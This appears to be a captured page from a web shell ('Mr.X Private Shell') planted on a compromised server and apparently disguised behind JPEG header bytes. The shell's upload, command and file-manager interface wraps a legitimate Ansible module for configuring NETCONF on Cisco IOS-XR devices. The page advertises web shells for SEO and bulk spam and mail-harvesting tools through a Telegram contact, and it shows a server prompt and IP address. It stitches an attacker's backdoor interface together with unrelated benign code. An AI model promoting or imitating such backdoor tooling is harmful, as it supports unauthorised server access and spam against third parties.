����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# (c) 2017, Ansible by Red Hat, Inc
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function


__metaclass__ = type


DOCUMENTATION = """
module: iosxr_netconf
author: Kedar Kekan (@kedarX)
short_description: Configures NetConf sub-system service on Cisco IOS-XR devices
description:
- This module provides an abstraction that enables and configures the netconf system
  service running on Cisco IOS-XR Software. This module can be used to easily enable
  the Netconf API. Netconf provides a programmatic interface for working with configuration
  and state resources as defined in RFC 6242.
version_added: 1.0.0
extends_documentation_fragment:
- cisco.iosxr.iosxr
options:
  netconf_port:
    description:
    - This argument specifies the port the netconf service should listen on for SSH
      connections.  The default port as defined in RFC 6242 is 830.
    required: false
    type: int
    default: 830
    aliases:
    - listens_on
  netconf_vrf:
    description:
    - netconf vrf name
    required: false
    type: str
    default: default
    aliases:
    - vrf
  state:
    description:
    - Specifies the state of the C(iosxr_netconf) resource on the remote device.  If
      the I(state) argument is set to I(present) the netconf service will be configured.  If
      the I(state) argument is set to I(absent) the netconf service will be removed
      from the configuration.
    type: str
    required: false
    default: present
    choices:
    - present
    - absent
notes:
- This module works with connection C(network_cli). See L(the IOS-XR Platform Options,../network/user_guide/platform_iosxr.html).
"""

EXAMPLES = """
- name: enable netconf service on port 830
  cisco.iosxr.iosxr_netconf:
    listens_on: 830
    state: present

- name: disable netconf service
  cisco.iosxr.iosxr_netconf:
    state: absent
"""

RETURN = """
commands:
  description: Returns the command sent to the remote device
  returned: when changed is True
  type: str
  sample: 'ssh server netconf port 830'
"""
import re

from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.six import iteritems

from ansible_collections.cisco.iosxr.plugins.module_utils.network.iosxr.iosxr import (
    get_config,
    load_config,
)


USE_PERSISTENT_CONNECTION = True


def map_obj_to_commands(updates):
    want, have = updates
    commands = list()

    if want["state"] == "absent":
        if have["state"] == "present":
            commands.append("no netconf-yang agent ssh")

        if "netconf_port" in have:
            commands.append("no ssh server netconf port %s" % have["netconf_port"])

        if have["netconf_vrf"]:
            for vrf in have["netconf_vrf"]:
                commands.append("no ssh server netconf vrf %s" % vrf)
    else:
        if have["state"] == "absent":
            commands.append("netconf-yang agent ssh")

        if want["netconf_port"] is not None and (want["netconf_port"] != have.get("netconf_port")):
            commands.append("ssh server netconf port %s" % want["netconf_port"])
        if want["netconf_vrf"] is not None and (want["netconf_vrf"] not in have["netconf_vrf"]):
            commands.append("ssh server netconf vrf %s" % want["netconf_vrf"])

    return commands


def parse_vrf(config):
    match = re.search(r"vrf (\w+)", config)
    if match:
        return match.group(1)


def parse_port(config):
    match = re.search(r"port (\d+)", config)
    if match:
        return int(match.group(1))


def map_config_to_obj(module):
    obj = {"state": "absent"}

    netconf_config = get_config(module, config_filter="netconf-yang agent")

    ssh_config = get_config(module, config_filter="ssh server")
    ssh_config = [
        config_line
        for config_line in (line.strip() for line in ssh_config.splitlines())
        if config_line
    ]
    obj["netconf_vrf"] = []
    for config in ssh_config:
        if "netconf port" in config:
            obj.update({"netconf_port": parse_port(config)})
        if "netconf vrf" in config:
            obj["netconf_vrf"].append(parse_vrf(config))
    if "ssh" in netconf_config and ("netconf_port" in obj or obj["netconf_vrf"]):
        obj.update({"state": "present"})

    if "ssh" in netconf_config and "netconf_port" not in obj:
        obj.update({"netconf_port": 830})

    return obj


def validate_netconf_port(value, module):
    if not 1 <= value <= 65535:
        module.fail_json(msg="netconf_port must be between 1 and 65535")


def map_params_to_obj(module):
    obj = {
        "netconf_port": module.params["netconf_port"],
        "netconf_vrf": module.params["netconf_vrf"],
        "state": module.params["state"],
    }

    for key, value in iteritems(obj):
        # validate the param value (if validator func exists)
        validator = globals().get("validate_%s" % key)
        if callable(validator):
            validator(value, module)

    return obj


def main():
    """main entry point for module execution"""
    argument_spec = dict(
        netconf_port=dict(type="int", default=830, aliases=["listens_on"]),
        netconf_vrf=dict(aliases=["vrf"], default="default"),
        state=dict(default="present", choices=["present", "absent"]),
    )

    module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True)

    warnings = list()

    result = {"changed": False, "warnings": warnings}

    want = map_params_to_obj(module)
    have = map_config_to_obj(module)
    commands = map_obj_to_commands((want, have))
    result["commands"] = commands

    if commands:
        commit = not module.check_mode
        diff = load_config(module, commands, commit=commit)
        if diff:
            result["diff"] = dict(prepared=diff)
        result["changed"] = True

    module.exit_json(**result)


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
iosxr_acl_interfaces.py File 15.22 KB 0644
iosxr_acls.py File 50.21 KB 0644
iosxr_banner.py File 8.44 KB 0644
iosxr_bgp.py File 11.06 KB 0644
iosxr_bgp_address_family.py File 30.73 KB 0644
iosxr_bgp_global.py File 47.22 KB 0644
iosxr_bgp_neighbor_address_family.py File 36.8 KB 0644
iosxr_command.py File 7.14 KB 0644
iosxr_config.py File 17.55 KB 0644
iosxr_facts.py File 6.21 KB 0644
iosxr_hostname.py File 8.13 KB 0644
iosxr_interfaces.py File 14.49 KB 0644
iosxr_l2_interfaces.py File 17.13 KB 0644
iosxr_l3_interfaces.py File 16.16 KB 0644
iosxr_lacp.py File 8.2 KB 0644
iosxr_lacp_interfaces.py File 14.89 KB 0644
iosxr_lag_interfaces.py File 20.32 KB 0644
iosxr_lldp_global.py File 10.7 KB 0644
iosxr_lldp_interfaces.py File 16.03 KB 0644
iosxr_logging.py File 42.13 KB 0644
iosxr_logging_global.py File 40.38 KB 0644
iosxr_netconf.py File 5.81 KB 0644
iosxr_ntp_global.py File 32.24 KB 0644
iosxr_ospf_interfaces.py File 36 KB 0644
iosxr_ospfv2.py File 75.92 KB 0644
iosxr_ospfv3.py File 93.3 KB 0644
iosxr_ping.py File 4.47 KB 0644
iosxr_prefix_lists.py File 33.67 KB 0644
iosxr_snmp_server.py File 75.22 KB 0644
iosxr_static_routes.py File 26.58 KB 0644
iosxr_system.py File 26.93 KB 0644
iosxr_user.py File 34.18 KB 0644